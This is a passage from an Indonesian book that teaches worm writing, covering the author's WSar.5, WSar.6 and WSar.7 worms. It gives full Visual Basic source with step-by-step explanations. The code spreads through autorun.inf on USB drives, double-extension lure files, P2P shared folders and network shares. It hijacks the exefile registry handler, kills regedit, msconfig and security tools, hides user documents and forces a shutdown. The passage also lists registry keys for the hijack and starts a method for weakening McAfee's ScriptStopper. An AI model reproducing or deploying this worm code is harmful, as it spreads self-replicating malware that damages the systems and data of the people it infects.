txtPath.Text = NamaAwal(Int(Rnd * 10)) & " " & NamaTengah(Int _ (Rnd * 20)) & " " & Year(Now) + 1 NamaCantik = txtPath.Text & ".exe" Dim FolderDocu As String Dim FirstFile As String Dim FullDocu As String FolderDocu = GetStringValue("HKEY_CURRENT_USER\Soft" & _ "ware\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol" & _ "ders", "Personal") txtPath.Text = FolderDocu txtPath2.Text = Dir(txtPath.Text & "\*.doc") FullDocu = txtPath.Text & "\" & txtPath2.Text FirstFile = Left(FullDocu, (Len(FullDocu) - 4)) If Len(txtPath2.Text) > 4 Then SetAttr(FullDocu, vbHidden) CopyFile(App.Path & "\" & App.EXEName & ".exe", FirstFile & _ ".zip .exe", False) SetAttr(FirstFile & ".zip .exe", vbNormal) End If Dim i As Byte For i = 1 To Drive1.ListCount - 1
160
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
If GetDriveType(Drive1.List(i) & "\") = 2 Then If Len(Dir$(Drive1.List(i) & "\autorun.inf")) = 0 Then CopyFile(WormFile, Drive1.List(i) & "\SETUP.EXE", False) SetAttr(Drive1.List(i) & "\SETUP.EXE", vbReadOnly) filenya = Drive1.List(i) & "\autorun.inf" Open filenya For Output As #1 Print #1, "[autorun]" Print #1, "OPEN=SETUP.EXE" Close(1) SetAttr(Drive1.List(i) & "\autorun.inf", vbReadOnly) End If End If Next i If Second(Now) < 6 Then FileCopy(WormFile, "a:\" & NamaCantik) End If End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Diawali dengan beberapa pendeklarasian function API, yang berguna untuk mendapatkan direktori Windows dan direktori System Windows. Saat form di-load, worm memeriksa file "c:\dfinstall.log" yang menandakan keberadaan program DeepFreeze dan jika ternyata berhasil ditemukan maka worm akan mengakhiri proses file utama, demikian pula dengan program Virtual PC, worm akan memeriksa file yang secara default adalah "c:\windows\cntx\vpchelp.exe". Procedure juga menyembunyikan proses dari taskbar, memanggil procedure InfectSystem, dan mengakhiri proses jika ternyata file utama berada pada disket. Pada procedure InfectSystem worm membuat salinan file utama ke suatu direktori yang secara default berada di "c:\windows\config" kemudian memanipulasi registry dengan menambahkan key HKEY_ LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\App Paths\LoadPowerProfile.EXE dengan value yang mengarah
161
Jasakom
Bab 11 Worm WSar.5
Berikut penjelasan tentang kode program:
Computer Worm 1 - Secret of Underground Coding : Uncensored
kepada file salinan tersebut dan menambahkan registry run dengan nama 'LoadPowerProfile’ dan value "LoadPowerProfile Rundll32.exe". Sebenarnya untuk value bisa menggunakan "LoadPowerProfile" saja, sengaja penulis tambahkan string "Rundll32.exe" dibelakangnya yang merupakan suatu file system Windows, dengan harapan dapat mengecoh penganalisa worm apabila akhirnya berhasil mengakses registry. Terakhir memanipulasi beberapa nilai registry dengan tujuan menjaga agar file System dan Hidden tetap tidak terlihat pada Windows Explorer. Procedure PayLoad pada WSar.5 akan terlihat lebih berbahaya, karena worm ini terlihat seperti menghapus seluruh file yang ada pada folder My Documents, namun sesungguhnya worm hanya mengatur semua file yang ada pada folder tersebut menjadi Hidden, System dan Read only yang tidak akan terlihat melalui Windows Explorer atau kotak dialog Open Documents. Timer tmrAntiDestroyer akan memanggil function WinQuit pada module mdlWinForce dengan menutup aplikasi yang pada title-nya mengandung kata vir, av, safe, start, process, spy, autoruns, hijack, patrol, alarm, task, config, folder option, system, properties, watson, remov, scan dan kill. Bab 11. Worm WSar.5
Timer tmrDisableWindow akan memanggil function WinAble pada module mdlWinForce dengan menonaktifkan mouse dan keyboard pada aplikasi yang title-nya mengandung string "REG". Timer tmrIseng akan memanggil function MinimizeAll pada module mdlMinimize dengan me-minimize semua jendela aplikasi yang aktif setiap 5 menit, dan jika tanggal dan bulan sekarang adalah 13 Oktober maka secara otomatis mengeksekusi procedure PayLoad, kemudian menampilkan sebuah kotak pesan dengan isi pesan "WSar.5 Ada Pada Komputer Anda". Procedure tmrSpreading_Timer akan membuat data array NamaAwal sebanyak 10 dan NamaTengah sebanyak 20. Worm kemudian akan menggunakan nama acak dan menggabungkan kedua data tersebut untuk dijadikan nama file worm yang baru.
162
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Worm juga menambahkan bilangan tahun yang akan datang, sehingga apabila tahun sekarang adalah 2008 maka nilainya menjadi 2009, lihat contoh nama file berikut ini: 1. crack deepfreeze 2009.exe 2. freeware transtool 2009.exe 3. full softice 2009.exe
Jika jumlah karakter Text pada txtPath2 lebih besar dari 4, yang artinya ada file dokumen ditemukan maka procedure mengatur atribut file yang ada pada nilai variabel FullDocu menjadi Hidden, kemudian membuat salinan worm ke direktori tersebut dengan nama yang sama dan disertai dengan ekstensi ganda ".zip .exe" sekaligus mengatur atribut file salinan tersebut menjadi normal. Selain itu worm akan membuat file konfigurasi AutoRun dengan nama file "autorun.inf" dan "setup.exe" disetiap removable disk (termasuk USB Flash Disk) yang terhubung, dengan tujuan agar removable disk yang terinfeksi secara otomatis akan menulari system komputer yang terhubung dengannya kemudian. Jika detik sekarang lebih kecil dari 6 maka procedure membuat salinan worm ke drive A dengan nama file yang diambil secara acak. Module mdlMinimize memanfaatkan function FindWindow dan PostMessage dari library user32, dengan membuat suatu function yang mengirimkan instruksi pada semua jendela aplikasi yang terbuka agar ter-minimize atau ter-maximize.
163
Jasakom
Bab 11 Worm WSar.5
Procedure tmrSpreading_Timer kemudian mengatur nilai variabel FolderDocu dengan path My Documents yang didapatkan dari nilai registry, kemudian mengatur nilai properti Text pada txtPath dengan nilai yang sama pada variabel FolderDocu, mengatur nilai properti Text pada txtPath2 dengan suatu nilai berupa nama file dokumen Microsoft Word yang didapatkan dari function DIR dengan data dari nilai properti Text pada txtPath dan menambahkannya dengan string ".doc" sebagai ekstensinya, kemudian mengatur nilai variabel FullDocu dengan penggabungan nilai Text pada txtPath dan txtPath2, mengatur nilai variabel FirstFile menjadi nilai pada variabel FullDocu dengan terlebih dahulu menghilangkan 4 karakter disebelah kanan yang merupakan ekstensi file.
Computer Worm 1 - Secret of Underground Coding : Uncensored
Module WinForce memanfaatkan function API PostMessage, EnumWindows, GetWindowText, EnableWindow, GetParent dan IsWindowVisible dari library user32, dengan membuat suatu function yang memeriksa caption setiap jendela aplikasi yang terbuka, dan dari caption yang ditentukan memungkinkan untuk menutup file tersebut atau membuatnya menjadi aktif/enable atau tidak aktif/disable.
Bab 11. Worm WSar.5
164
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
BAB 12 WORM WSar.6
W
Melalui WSar.6 penulis akan mendemonstrasikan metode Shell Spawning dengan memanfaatkan ekstensi exe (executable files). Dengan teknik sedikit berbeda dengan worm sebelumnya, WSar.6 menutup aplikasi tidak dengan memanfaatkan title pada aplikasi, tetapi pada nama file aplikasi tersebut. Metode ini menjadi sangat berguna apabila worm ingin menutup aplikasi yang tidak memperlihatkan suatu jendela aplikasi apapun pada layar monitor. Contoh saja aplikasi antivirus, kenyataannya hampir semua aplikasi antivirus tidak menampilkan jendela aplikasi, bekerja secara background dan hanya menampilkan sebuah icon pada system tray saja. Selain itu worm memanfaatkan shared folder pada aplikasi peer to peer dan berusaha membuat salinan pada direktori network yang di share.
165
Jasakom
Bab 12. Worm WSar.6
orm ini bernama WSar.6 (worm dasar 6), menggunakan trik launcher yang disebut sebagai metode Shell Spawning, dimana worm akan aktif jika user mengeksekusi suatu file dengan ekstensi tertentu.
Computer Worm 1 - Secret of Underground Coding : Uncensored
12.1 ALGORITMA
Bab 12. Worm WSar.6
WSar.6 memiliki rutin-rutin yang akan melakukan tindakan-tindakan sebagai berikut: 1. Melakukan pemeriksaan terhadap eksistensi worm itu sendiri pada suatu system komputer 2. Worm menyembunyikan dirinya dari task list 3. Kemudian Worm memanipulasi registry dengan tujuan pemanfaatan metode Shell Spawning 4. Saat menginfeksi suatu system komputer, worm akan membuat salinan file utama ke direktori System Windows dengan nama loadsys.exe dengan menggunakan icon flash.ico 5. Worm secara otomatis akan menonaktifkan aplikasi yang memiliki nama file; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe, msconfig.exe 6. Pada saat tertentu worm akan membuat salinan dirinya pada disket, shared folder pada aplikasi peer to peer atau pada network 7. Dampak lain yang ditimbulkan adalah setiap 5 menit apabila aplikasi Notepad, Microsoft Word atau WordPad sedang aktif maka worm akan mengirimkan tulisan yang akan terketik sendiri pada halaman kerja aplikasi tersebut 8. Setiap tanggal 13 bulan Oktober akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda", kemudian secara otomatis melakukan proses shut down.
12.2 PEMROGRAMAN Buat sebuah project baru pada aplikasi Visual Basic. Atur Project Name menjadi 'WSar’, dan Application Title menjadi 'WSar.6’ Tambahkan 4 buah object Timer dan 3 buah Module, kemudian atur properti untuk masing-masing object tersebut sebagai berikut:
166
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Properti object Form1 Jenis
Nilai
Keterangan
Name
frmWSar6
Mengatur nama form menjadi frmWSar6
Icon
(Icon)
Pilih icon yang akan digunakan pada form, WSar.6 menggunakan icon flash.ico
ShowInTaskbar
False
Tidak menampilkan form pada taskbar
Visible
False
Tidak menampilkan form pada layar.
BorderStyle
None
Tidak memberikan garis tepi pada form
ControlBox
False
Tidak menggunakan control box
Properti object Timer1 Nilai
Keterangan
Name
tmrWinExit
Mengatur nama Timer menjadi tmrWinExit
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
500
Setiap instruksi pada procedure Timer akan dieksekusi setiap setengah detik
Properti object Timer2 Jenis
Nilai
Keterangan
Name
tmrSpreading
Mengatur nama Timer menjadi tmrSpreading
Enable
True
Pastikan Timer akan aktif saat form di-load
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap 1 detik
167
Jasakom
Bab 12. Worm WSar.6
Jenis
Computer Worm 1 - Secret of Underground Coding : Uncensored
Properti object Timer3 Jenis
Nilai
Keterangan
Name
tmrIseng
Mengatur nama Timer menjadi tmrIseng
Enable
False
Pastikan Timer tidak aktif saat form di-load
Interval
100
Setiap instruksi pada procedure Timer akan dieksekusi setiap 0.1 detik
Tag
Woooy... kok ngetik sendiri neeh...
Tag ini akan digunakan pada procedure tmrIseng
Properti object Timer4 Jenis
Nilai
Keterangan
Name
tmrIsengLauncher
Mengatur nama Timer menjadi tmrIsengLauncher
Enable
True
Pastikan Timer akan aktif saat form diload
Interval
1000
Setiap instruksi pada procedure Timer akan dieksekusi setiap satu detik
Properti Module1 Jenis Bab 12. Worm WSar.6
Name
Nilai mdlWinExit
Keterangan Mengatur nama module menjadi mdlWinExit
Properti Module2 Jenis Name
Nilai mdlWinFind
Keterangan Mengatur nama module menjadi mdlWinFind
Properti Module3 Jenis Name
168
Jasakom
Nilai mdlRegistryAPI
Keterangan Mengatur nama mdlRegistryAPI
module
menjadi
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Ketik kode program berikut ini pada module mdlWinExit:
Public Function WinExit(ByVal sExeNam As String) Dim lLng As Long, lA As Long, lExCode As Long Dim procObj As PROCESSENTRY32 Dim hSnap As Long Dim lRet As Long hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0&) procObj.dwSize = Len(procObj) lRet = Process32First(hSnap, procObj) Do While Process32Next(hSnap, procObj) If InStr(1, LCase(procObj.szExeFile), LCase(sExeNam$)) > 0 Then lLng = OpenProcess(&H1, ByVal 0&, procObj.th32ProcessID) lA = TerminateProcess(lLng, lExCode) Exit Do End If Loop End Function
169
Jasakom
Bab 12. Worm WSar.6
Private Declare Function CreateToolhelp32Snapshot Lib "kernel32" _ (ByVal lFlags As Long, ByVal lProcessID As Long) As Long Private Declare Function Process32First Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As Long Private Declare Function Process32Next Lib "kernel32" (ByVal _ hSnapshot As Long, ByVal lppe As PROCESSENTRY32) As Long Private Declare Function OpenProcess Lib "kernel32" (ByVal _ dwDesiredAccess As Long, ByVal bInheritHandle As Long, _ ByVal dwProcessId As Long) As Long Private Declare Function TerminateProcess Lib "kernel32" (ByVal _ hProcess As Long, ByVal uExitCode As Long) As Long Private Const TH32CS_SNAPPROCESS As Long = 2& Private Const MAX_PATH As Integer = 260 Private Type PROCESSENTRY32 dwSize As Long cntUsage As Long th32ProcessID As Long th32DefaultHeapID As Long th32ModuleID As Long cntThreads As Long th32ParentProcessID As Long pcPriClassBase As Long dwFlags As Long szExeFile As String * MAX_PATH End Type
Computer Worm 1 - Secret of Underground Coding : Uncensored
Untuk module mdlRegistryAPI, Anda bisa menggunakan module yang sama pada WSar.4, kemudian ketik kode program berikut ini pada module mdlWinFind:
Private Declare Function PostMessage Lib "user32" Alias _ "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, _ ByVal wParam As Long, ByVal lParam As Long) As Long Private Declare Function EnumWindows& Lib "user32" (ByVal _ lpEnumFunc As Long, ByVal lParam As Long) Private Declare Function GetWindowText Lib "user32" Alias _ "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString _ As String, ByVal cch As Long) As Long Private Declare Function IsWindowVisible& Lib "user32" (ByVal _ hwnd As Long) Private Declare Function GetParent& Lib "user32" (ByVal hwnd As _ Long) Public Declare Function EnableWindow Lib "user32" (ByVal hwnd _ As Long, ByVal fEnable As Long) As Long Dim sPattern As String, hFind As Long Const WM_CLOSE = &H10
Bab 12. Worm WSar.6
Function EnumWinProc(ByVal hwnd As Long, ByVal lParam As _ Long) As Long Dim k As Long, sName As String If IsWindowVisible(hwnd) And GetParent(hwnd) = 0 Then sName = Space$(128) k = GetWindowText(hwnd, sName, 128) If k > 0 Then sName = Left$(sName, k) If lParam = 0 Then sName = UCase(sName) If sName Like sPattern Then hFind = hwnd EnumWinProc = 0 Exit Function End If End If End If EnumWinProc = 1 End Function Function WinFind(ByVal sWild As String, Optional ByVal bMatchCase As _ Boolean = True) As Long sPattern = sWild If Not bMatchCase Then sPattern = UCase(sPattern) EnumWindows(AddressOf EnumWinProc, bMatchCase) WinFind = hFind End Function
170
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Ketik kode program berikut ini pada object frmWSar6: 'WSar.6 by Achmad Darmal 'Tarakan, Kalimantan Timur - Indonesia Option Explicit On Private Declare Function GetWindowsDirectory Lib "kernel32" _ Alias "GetWindowsDirectoryA" (ByVal lpBuffer As String, _ ByVal nSize As Long) As Long Private Declare Function GetSystemDirectory Lib "kernel32" Alias _ "GetSystemDirectoryA" (ByVal lpBuffer As String, ByVal nSize _ As Long) As Long Private SF As String * 255 Dim bilangan As Integer Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command() Shell (Spawning), vbNormalFocus If App.PrevInstance = True Then End InfectSystem() End Sub Private Sub InfectSystem() On Error Resume Next FileCopy(WormFile, SpecialFolder(1) & "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\exefile\shell\open\command", "", _ "loadsys.exe %1") End Sub
Bab 12. Worm WSar.6
Private Sub InfectNet() On Error Resume Next Dim networm As String Dim i, nr, nrnd As Integer Dim fsos Dim fso Dim netdrv fsos = CreateObject("Scripting.FileSystemObject") fso = CreateObject("WScript.Network") netdrv = fso.EnumNetworkDrives Dim NV(5) As String NV(0) = "readit" NV(1) = "playit" NV(2) = "launchit" NV(3) = "startit" NV(4) = "buncit" Randomize() nr = Int(Rnd * 999) nrnd = Int(Rnd * 5) networm = NV(nrnd) & nr & ".exe"
171
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
If netdrv.Count 0 Then For i = 0 To netdrv.Count - 1 If InStr(netdrv.Item(i), "\") 0 Then
Bab 12. Worm WSar.6
FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\d" & _ "esktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\windows\S" & _ "tart Menu\Programs\startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Start Menu\Programs" & "\start" & _ "up\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Start Menu\Programs\startup\" & _ networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Start Menu\Programs\" & "startup\" _ & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Document" & _ "s and Settings\Default User\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\All Users\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Administrator\Desktop\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Start menu\Programs\Startup\" & networm)) FileCopy(WormFile, fsos.BuildPath(netdrv.Item(i), "\Winnt\Prof" & _ "iles\Default User\Desktop\" & networm)) End If Next End If End Sub Private Sub tmrIseng_Timer() On Error Resume Next bilangan = bilangan + 1 SendKeys(Mid(tmrIseng.Tag, bilangan, 1)) If bilangan = Len(tmrIseng.Tag) Then tmrIseng.Enabled = False bilangan = 0 End If If Day(Now) = 13 And Month(Now) = 10 Then Call PayLoad() End Sub
172
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Private Sub tmrIsengLauncher_Timer() On Error Resume Next If (Right(Minute(Now), 1) = 5 Or Right(Minute(Now), 1) = 0) And _ Second(Now) = 13 Then If WinFind("*pad*", False) 0 Or WinFind("*word*", False) _ 0 Then tmrIseng.Enabled = True End If End If End Sub Private Sub tmrSpreading_Timer() On Error Resume Next If (Minute(Now) = 16 Or Minute(Now) = 46) And Second(Now) = _ 13 Then Call PerToPer() End If If (Minute(Now) = 1 Or Minute(Now) = 31) And Second(Now) = _ 13 Then Call InfectNet() End If If (Right(Minute(Now), 1) = 2 Or Right(Minute(Now), 1) = 8) And _ Second(Now) = 13 Then Call InfectFloppy() End If End Sub
Bab 12. Worm WSar.6
Private Sub tmrWinExit_Timer() On Error Resume Next WinExit("regedit.exe") WinExit("regedt32.exe") WinExit("install.exe") WinExit("setup.exe") WinExit("rl.exe") WinExit("sysmechanic.exe") WinExit("msconfig.exe") End Sub Private Sub PerToPer() On Error Resume Next Dim wormname As String Dim Filone(4) As String Filone(0) = "New Song Of " Filone(1) = "The Best Of " Filone(2) = "New Album Of " Filone(3) = "Greatest Song Of " Dim Filtwo(8) As String Filtwo(0) = "Mariah Carey" Filtwo(1) = "M Jackson" Filtwo(2) = "Whitney" Filtwo(3) = "Metallica" Filtwo(4) = "Elvis Presley"
173
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Filtwo(5) = "Kenny G" Filtwo(6) = "Aliyah" Filtwo(7) = "Bon Jovi" Dim Filthree(7) As String Filthree(0) = ".avi .exe" Filthree(1) = ".mpg .exe" Filthree(2) = ".mpeg .exe" Filthree(3) = ".wma .exe" Filthree(4) = ".mp3 .exe" Filthree(5) = ".wav .exe" Filthree(6) = ".mid .exe" Randomize() wormname = Filone(Int(Rnd * 4)) & Filtwo(Int(Rnd * 8)) & _ Filthree(Int(Rnd * 7)) Dim P2P(1 To 7) As String Dim w As Integer P2P(1) = "C:\Program Files\BearShare\Shared" P2P(2) = "C:\Program Files\Edonkey2000\Incoming" P2P(3) = "C:\Program Files\Grokster\My Grokster" P2P(4) = "C:\Program Files\KMD\My Shared Folder" P2P(5) = "C:\Program Files\Kazaa\My Shared Folder" P2P(6) = "C:\Program Files\Kazaa Lite\My Shared Folder" P2P(7) = "C:\Program Files\Morpheus\My Shared Folder" For w = 1 To 7 If Len(Dir$(P2P(w), vbDirectory)) 0 Then FileCopy(WormFile, P2P(w) & "\" & wormname) End If Next End Sub
Bab 12. Worm WSar.6
Private Function SpecialFolder(ByVal value) On Error Resume Next Dim FolderValue As String If value = 0 Then FolderValue = Left(SF, GetWindowsDirectory(SF, 255)) End If If value = 1 Then FolderValue = Left(SF, GetSystemDirectory(SF, 255)) End If If Right(FolderValue, 1) = "\" Then FolderValue = Left(FolderValue, Len(FolderValue) - 1) End If SpecialFolder = FolderValue End Function Private Sub InfectFloppy() On Error Resume Next Dim Acak As Integer Dim NamaCantik(10) As String NamaCantik(0) = "millionaire." NamaCantik(1) = "pussycat." NamaCantik(2) = "hangman." NamaCantik(3) = "test-IQ."
174
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
NamaCantik(4) = "tom n jerry." NamaCantik(5) = "egg." NamaCantik(6) = "puzzle." NamaCantik(7) = "chess." NamaCantik(8) = "solitaire." NamaCantik(9) = "scrabble." Randomize() Acak = Int(Rnd * 10) If Len(Dir$("A:\*..exe")) = 0 Then FileCopy(WormFile, "A:\" & NamaCantik(Acak) & ".exe") End If End Sub Private Sub PayLoad() On Error Resume Next MsgBox("WSar.6 Ada Pada Komputer Anda", vbExclamation) Call Shell("Rundll32.exe user,exitwindows") End Sub Private Function WormFile() Dim WPath, WName As String WPath = App.Path If Right(WPath, 1) "\" Then WPath = WPath & "\" End If WName = App.EXEName & ".exe" WormFile = WPath & WName End Function
Pada procedure Form_Load, worm mengatur agar saat load, worm secara otomatis mengeksekusi nama file yang ditambahkan setelahnya. Hal ini berkaitan dengan metode Shell Spawning yang digunakan WSar.6, sehingga bentuk umum worm dapat ditulis sebagai berikut: worm [filename]
Contoh, untuk mengeksekusi file "c:\windows\notepad.exe" dengan nama file utama worm adalah loadsys.exe maka dapat menggunakan sintaksis berikut ini: loadsys c:\windows\notepad.exe
Worm juga menyembunyikan proses dari taskbar, memeriksa proses instan yang sama dan mencegah file utama dieksekusi lebih dari satu kali dengan langsung mengakhiri proses file utama.
175
Jasakom
Bab 12. Worm WSar.6
Berikut penjelasan tentang kode program:
Computer Worm 1 - Secret of Underground Coding : Uncensored
Pada procedure InfectSystem worm membuat salinan file utama ke direktori System Windows dengan nama file loadsys.exe kemudian memanipulasi registry pada key HKEY_CLASSES_ROOT\exefile\ shell\open\command dan mengubah value menjadi "loadsys.exe %1". Nilai registry ini akan mengeksekusi file loadsys.exe setiap kali user mengeksekusi file apa saja yang berekstensi "exe". Procedure InfectNect akan berusaha membuat salinan worm pada shared drive atau direktori dalam suatu jaringan, dengan menggunakan 5 nama file yang berbeda dan ditujukan pada direktori default StartUp, Desktop, dan My Documents. Procedure tmrIseng_Timer bekerja secara otomatis dengan mengetikkan tombol huruf tertentu pada keyboard, dan akhirnya akan membentuk suatu kalimat yang diambil dari tag pada object tmrIseng, yaitu kalimat "Woooy... kok ngetik sendiri neeh...". Sementara procedure tmrIsengLauncher_ Timer mengatur agar procedure tmrIseng_Timer aktif setiap lima menit, dan hanya jika worm menemukan jendela aplikasi yang mengandung kata word, seperti Microsoft Word atau mengandung kata pad seperti Notepad dan Wordpad. Procedure tmrSpreading_Timer mengatur agar apabila menit sekarang menunjukan nilai 16 atau 46 dan detik menunjukan nilai 13 maka worm memanggil procedure PerToPer. Bab 12. Worm WSar.6
Apabila menit sekarang menunjukan nilai 1 atau 31 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectNet, kemudian apabila satu angka disebelah kanan pada menit sekarang menunjukan nilai 2 atau 8 dan detik menunjukan nilai 13 maka worm memanggil procedure InfectFloppy. Procedure tmrWinExit_Timer berfungsi untuk memastikan tidak ada satupun dari program; regedit.exe, regedt32.exe, install.exe, setup.exe, rl.exe, sysmechanic.exe dan msconfig.exe yang dapat dijalankan oleh user, dengan memanggil function WinExit dari module mdlWinExit. Procedure PerToPer akan membuat salinan worm di setiap direktori default aplikasi peer to peer seperti BearShare, Edonkey, Grokster, KMD, Kazaa, KazaaLite dan Morpheus, dengan banyak membuat kombinasi nama file dan ekstensi.
176
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
Procedure InfectFloppy berfungsi untuk membuat salinan file utama worm pada disket. Procedure PayLoad akan menampilkan pesan "WSar.6 Ada Pada Komputer Anda" dan langsung mematikan komputer. Catatan untuk WSar.6 : berikut ini adalah beberapa lokasi key pada registry yang bisa digunakan untuk metode Shell Spawning:
Lokasi Key
EXE
HKEY_CLASSES_ROOT\exefile\shell\open\command
BAT
HKEY_CLASSES_ROOT\batfile\shell\open\command
HTA
HKEY_CLASSES_ROOT\htafile\shell\open\command
PIF
HKEY_CLASSES_ROOT\piffile\shell\open\command
COM
HKEY_CLASSES_ROOT\comfile\shell\open\command
GIF
HKEY_CLASSES_ROOT\giffile\shell\Open\command
HTML
HKEY_CLASSES_ROOT\htmlfile\shell\open\command
HTT
HKEY_CLASSES_ROOT\HTTfile\shell\Edit\command
INF
HKEY_CLASSES_ROOT\inffile\shell\open\command
INI
HKEY_CLASSES_ROOT\inifile\shell\open\command
JPEG
HKEY_CLASSES_ROOT\jpegfile\shell\Open\command
MID
HKEY_CLASSES_ROOT\MIDFile\shell\open\command
MP3
HKEY_CLASSES_ROOT\mp3file\shell\open\command
MPEG
HKEY_CLASSES_ROOT\mpegfile\shell\open\command
REG
HKEY_CLASSES_ROOT\regfile\shell\open\command
RTF
HKEY_CLASSES_ROOT\rtffile\shell\open\command
SCR
HKEY_CLASSES_ROOT\scrfile\shell\open\command
VBS
HKEY_CLASSES_ROOT\VBSFile\Shell\Open\Command
WMA
HKEY_CLASSES_ROOT\wmafile\shell\open\command
TXT
HKEY_CLASSES_ROOT\txtfile\shell\open\command
Bab 12. Worm WSar.6
Ekstensi
Key ini juga terdapat pada HKEY_LOCAL_MACHINE\ Software\ CLASSES, sehingga untuk menggunakan metode Shell Spawning pada ekstensi exe dan txt, dapat menggunakan key berikut:
177
Jasakom
Computer Worm 1 - Secret of Underground Coding : Uncensored
Ekstensi
Lokasi Key
EXE
HKEY_LOCAL_MACHINE\Software\CLASSES\exefile\ shell\open\command
TXT
HKEY_LOCAL_MACHINE\Software\CLASSES\txtfile\ shell\open\command
Untuk menggunakan metode Shell Spawning pada executable file seperti ekstensi exe dan com, sangatlah mudah seperti yang dicontohkan pada WSar.6, tetapi untuk ekstensi yang tidak merupakan file executable seperti txt dan rtf, maka harus ditambahkan nama file atas program yang umumnya digunakan untuk membuka ekstensi file tersebut. Sebagai contoh, berikut ini adalah penggunaan TXT spawning yang bisa diaplikasikan pada WSar.6
Bab 12. Worm WSar.6
Private Sub Form_Load() On Error Resume Next Dim Spawning As Object App.TaskVisible = False Spawning = Command() Shell ("c:\windows\notepad.exe " & Spawning), _ vbNormalFocus If App.PrevInstance = True Then End InfectSystem() End Sub Private Sub InfectSystem() On Error Resume Next FileCopy(App.EXEName & ".exe", SpecialFolder(1) & _ "\loadsys.exe") SetStringValue("HKEY_CLASSES_ROOT\txtfile\shel" & _ "l\open\command", "", "loadsys.exe %1") End Sub
178
Jasakom
Computer Worm 1 - Secret of Undeground Coding : Uncensored
BAB 13 WORM WSar.7
W
WSar.7 menggunakan icon ekstensi txt dan akan membuka aplikasi Notepad apabila user mengeksekusinya. Metode ini juga digunakan oleh worm Pesin walaupun worm Pesin menggunakan metode yang sedikit berbeda. WSar.7 tergantung pada path file utama sedangkan Pesin tergantung pada parameter tambahan dalam pengeksekusiannya. Penulis juga mendemonstrasikan bagaimana suatu worm mampu 'menjinakan’ suatu antivirus tanpa harus menghapus file antivirus ataupun mengakhiri proses antivirus tersebut. Penulis memilih McAfee VirusScan versi 8 atau 9 sebagai bahan percobaan karena antivirus versi ini memiliki fasilitas ScriptStopper yang secara 'membabi buta’ akan menghentikan proses Scripting dan menampilkan kotak dialog konfirmasi, walaupun sebenarnya proses scripting tersebut bukan berasal dari suatu worm atau virus .
179
Jasakom
Bab 13. Worm WSar.7
orm dasar 7 mendemonstrasikan suatu contoh internet worm lainnya, dengan pengiriman e-mail ber-attachment dan memanfaatkan aplikasi mIRC sebagai metode penyebaran.
Computer Worm 1 - Secret of Underground Coding : Uncensored
13.1 COMPARISON METHODE Pada prinsipnya setiap pengaturan yang bersifat tidak tetap atau dapat diubah pada setiap aplikasi termasuk antivirus umumnya disimpan dalam suatu file konfigurasi, dan lebih sering tersimpan pada system registry Windows, sehingga perlu untuk mempelajari bagaimana mengatur konfigurasi suatu aplikasi secara manual dengan memanfaatkan menu Help atau dengan membaca buku manualnya. Berikut ini adalah contoh langkah-langkah yang penulis sebut sebagai comparison methode atau metode perbandingan, yang akan digunakan pada WSar.7. 1. Langkah pertama adalah membuka aplikasi Registry Editor, kemudian mengekspor dan menyimpan nilai registry yang dimiliki aplikasi antivirus. Dalam hal ini, antivirus masih dalam konfigurasi default dan belum diadakan suatu perubahan apapun. Biasanya registry untuk software yang terinstal, terletak pada key berikut: HKEY_CURRENT_USER\SOFTWARE\ HKEY_LOCAL_MACHINE\SOFTWARE\
Dalam hal ini McAfee VirusScan menyimpan konfigurasinya pada key: Bab 13. Worm WSar.7
HKEY_LOCAL_MACHINE\SOFTWARE\McAfee.com
